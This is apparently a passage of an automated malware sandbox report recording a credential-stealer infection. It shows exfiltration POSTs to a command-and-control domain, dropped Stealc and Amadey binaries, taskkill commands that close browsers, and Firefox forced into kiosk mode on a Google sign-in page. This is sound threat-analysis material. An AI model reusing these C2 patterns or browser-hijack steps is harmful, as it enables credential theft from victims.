2024-10-17 16:40:39 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 39 37 33 37 41 36 41 45 32 41 30 35 31 35 35 35 46 41 42 41 44 46 43 36 34 38 42 30 45 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"99737A6AE2A051555FABADFC648B0EFF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-17 16:40:39 UTC	5075	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d Data Ascii: (X6K~`iO\_,mi`m?ls}Qm
2024-10-17 16:40:40 UTC	825	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:40:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=57mkcoaq2u860v8561eo0mbo9b; expires=Mon, 10 Feb 2025 10:27:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lqW30XemSDrUmNXHmT942x1c4nZQ1uuFQUWPR5cwIsozsSPZXHLgQxIChIpL0D5GNVX2FmI9iti0XLW%2FavOSM5VRyUD4%2FcFRkZWQW7wfjSljyymmZ2izsvAIpLfq1bNqr6t2vA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d41bb4d9a478d2d-DFW alt-svc: h3=":443"; ma=86400
2024-10-17 16:40:40 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-10-17 16:40:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.7	62395	172.67.206.204	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:40:40 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=D6AvaLTEQwbMQZlOey6wUNZk6Tku8bB4dw3etPa236A-1729183232-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1235 Host: sergei-esenin.com
2024-10-17 16:40:40 UTC	1235	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 39 37 33 37 41 36 41 45 32 41 30 35 31 35 35 35 46 41 42 41 44 46 43 36 34 38 42 30 45 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"99737A6AE2A051555FABADFC648B0EFF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-17 16:40:41 UTC	831	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:40:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k6f9u7i13jacp4ebs8aroppr9d; expires=Mon, 10 Feb 2025 10:27:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D62y4pTm8QhBN6qQ%2BBA70OeyEB8MGi%2BEAwbVWYjzAMIh6S40hYV7TVkRVuMhAKy%2B%2FpveLpGbMXl8vPIB0ic0oMt26zk%2FFCDGuCjzJ1Nfa8t3x7s5hfMXL2JSUPPztn2RljiMXg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d41bb56cc1bcb75-DFW alt-svc: h3=":443"; ma=86400
2024-10-17 16:40:41 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-10-17 16:40:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.7	62396	172.67.206.204	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:40:42 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=D6AvaLTEQwbMQZlOey6wUNZk6Tku8bB4dw3etPa236A-1729183232-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 22794 Host: sergei-esenin.com
2024-10-17 16:40:42 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 39 37 33 37 41 36 41 45 32 41 30 35 31 35 35 35 46 41 42 41 44 46 43 36 34 38 42 30 45 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"99737A6AE2A051555FABADFC648B0EFF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-17 16:40:42 UTC	7463	OUT	Data Raw: a0 c7 1a f0 2b 80 2e 88 ce 17 39 da 39 25 ba 72 2c a6 76 31 fb 42 7b 29 2f b8 8a 77 ba f4 fd 4d 7c 04 d1 e0 4d 5b cc ab 36 86 ae 01 fe b8 b8 17 9c 00 87 a5 9d ae 35 3b 9e 0f 96 84 2a 9e f2 a5 1e b1 0d 90 7e 05 8a 76 01 fd 9d 71 3d bb 60 f9 1e 6f f9 1b b5 e2 47 cb 4d 8a 37 85 97 b6 15 30 09 bc 8f 66 16 d6 16 0d 08 28 2d 2e e8 e6 cc 35 ee 6a c9 31 a9 5f d3 06 81 43 43 7b a1 53 01 cd ac 5a 32 78 bc 27 74 c4 39 93 76 ba 55 14 46 86 88 a1 9f 6e 78 09 6d a6 8e 86 b2 fa db 46 d4 1c 63 5a 8b b4 1a a6 be 96 8a a4 18 a7 a6 61 25 83 1e 3d 61 2e 4d fd c5 58 29 b7 d1 77 e8 0a d4 40 69 60 c7 72 93 65 58 16 0b de 04 5b 57 31 09 46 96 67 b1 f2 d8 a5 ec e0 80 53 4c 39 c0 61 ef ea 62 4c fb 00 44 d9 0d 6f e8 36 82 df 0d 25 3b 29 77 79 27 f2 70 d6 5c 4e 92 c6 8f 8b 07 2f 91 Data Ascii: +.99%r,v1B{)/wM\|M[65;*~vq=`oGM70f(-.5j1_CC{SZ2x't9vUFnxmFcZa%=a.MX)w@i`reX[W1FgSL9abLDo6%;)wy'p\N/

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.7	62397	172.67.206.204	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:40:42 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-17 16:40:42 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life

Target ID:	0
Start time:	12:38:22
Start date:	17/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xd80000
File size:	2'947'072 bytes
MD5 hash:	3C27780963B8E66D025EEA98B9530C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:38:49
Start date:	17/10/2024
Path:	C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe"
Imagebase:	0xd0000
File size:	1'869'824 bytes
MD5 hash:	52DA2906C78BC9840CF933C8BCBF351A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000003.00000002.1719915306.00000000000D1000.00000040.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000003.00000003.1675675388.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000003.00000002.1722905457.0000000000D5E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:38:53
Start date:	17/10/2024
Path:	C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe"
Imagebase:	0x2c0000
File size:	1'888'256 bytes
MD5 hash:	3343741767986EBB3E2E066ED65F51CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000003.1704295013.0000000004E20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000002.1745105372.00000000002C1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:38:55
Start date:	17/10/2024
Path:	C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe"
Imagebase:	0xfd0000
File size:	919'552 bytes
MD5 hash:	D943B374DC0CF454E1BC9630DF068C02
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:38:55
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x840000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:38:55
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	12:38:57
Start date:	17/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xe70000
File size:	1'888'256 bytes
MD5 hash:	3343741767986EBB3E2E066ED65F51CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000002.1786616773.0000000000E71000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000003.1743991091.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	12:38:58
Start date:	17/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xe70000
File size:	1'888'256 bytes
MD5 hash:	3343741767986EBB3E2E066ED65F51CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000003.1758005852.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000002.1799865628.0000000000E71000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	12:38:59
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x840000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	12:38:59
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	12:38:59
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x840000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	12:38:59
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	12:38:59
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x840000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	12:38:59
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	12:39:00
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x840000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	12:39:00
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	12:39:00
Start date:	17/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	12:39:00
Start date:	17/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	12:39:00
Start date:	17/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	12:39:01
Start date:	17/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2260 -parentBuildID 20230927232528 -prefsHandle 2196 -prefMapHandle 2180 -prefsLen 25302 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fe0c0586-83a7-43b9-8399-2172f07386c8} 5788 "\\.\pipe\gecko-crash-server-pipe.5788" 10c97870d10 socket
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	12:39:03
Start date:	17/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2896 -parentBuildID 20230927232528 -prefsHandle 2984 -prefMapHandle 2980 -prefsLen 26317 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {4b58a39a-4c30-4496-bf91-441cbbeb8dc2} 5788 "\\.\pipe\gecko-crash-server-pipe.5788" 10ca9a99b10 rdd
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	12:39:12
Start date:	17/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4972 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 4960 -prefMapHandle 4940 -prefsLen 33185 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ffaf519c-90e4-435c-9280-7aa7be7af943} 5788 "\\.\pipe\gecko-crash-server-pipe.5788" 10caf552710 utility
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	12:40:00
Start date:	17/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xe70000
File size:	1'888'256 bytes
MD5 hash:	3343741767986EBB3E2E066ED65F51CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001D.00000002.2647852798.0000000000E71000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001D.00000003.2366082101.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	12:40:14
Start date:	17/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1000349001\bf119f2261.exe"
Imagebase:	0x30000
File size:	2'947'072 bytes
MD5 hash:	3C27780963B8E66D025EEA98B9530C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Function 050306BC Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1755036717.0000000005030000.00000040.00001000.00020000.00000000.sdmp, Offset: 05030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5030000_EB62TLK1BMAO9DYHCNLEAQ1H122XS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88dc1d3abfe932b34e1d5603d850f466f638cd5974c25e36b8288af1c4ab26ed
Instruction ID: 26c608fd2216fe157f8bc5da86ceced5a3f0d4dc98074426cc0a986d836bbbe5
Opcode Fuzzy Hash: 88dc1d3abfe932b34e1d5603d850f466f638cd5974c25e36b8288af1c4ab26ed
Instruction Fuzzy Hash: E4018FEB50E124BEB282C1423B2E9FF7F6FE1D27303718426F443D1901E2950A5C6831

Function 05030682 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1755036717.0000000005030000.00000040.00001000.00020000.00000000.sdmp, Offset: 05030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5030000_EB62TLK1BMAO9DYHCNLEAQ1H122XS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25797bc5c5634834fd2d413a99cdf7ecd547380f8922f9d479d3fc17dbf0f882
Instruction ID: b0efda6a1a9b43da5cc3823c476ab6b85db4b93580984dfbb44e86ae16720b82
Opcode Fuzzy Hash: 25797bc5c5634834fd2d413a99cdf7ecd547380f8922f9d479d3fc17dbf0f882
Instruction Fuzzy Hash: D72147E750E250BEF342C9423A2E9FE3F6EE6D26303318067F043C6643E1494A5D56B2

Function 050306C9 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1755036717.0000000005030000.00000040.00001000.00020000.00000000.sdmp, Offset: 05030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5030000_EB62TLK1BMAO9DYHCNLEAQ1H122XS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4aa173e2492cc1064db5c3723b7d443fa820cbd361310c529316e8cd879d6df
Instruction ID: 561e976c87fe68437c6029924478a6704d5d105cf1945963f5f2d69e69eb30ab
Opcode Fuzzy Hash: b4aa173e2492cc1064db5c3723b7d443fa820cbd361310c529316e8cd879d6df
Instruction Fuzzy Hash: AC1131EB10E214BEF742C4823B2E9FE3F6FD1C26303318026F443C5A02E1850A4D9971

Function 0503066B Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1755036717.0000000005030000.00000040.00001000.00020000.00000000.sdmp, Offset: 05030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5030000_EB62TLK1BMAO9DYHCNLEAQ1H122XS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89290501de5d328644307a5a926e9279ed06c803eb3910959b93b1a2a8f843b5
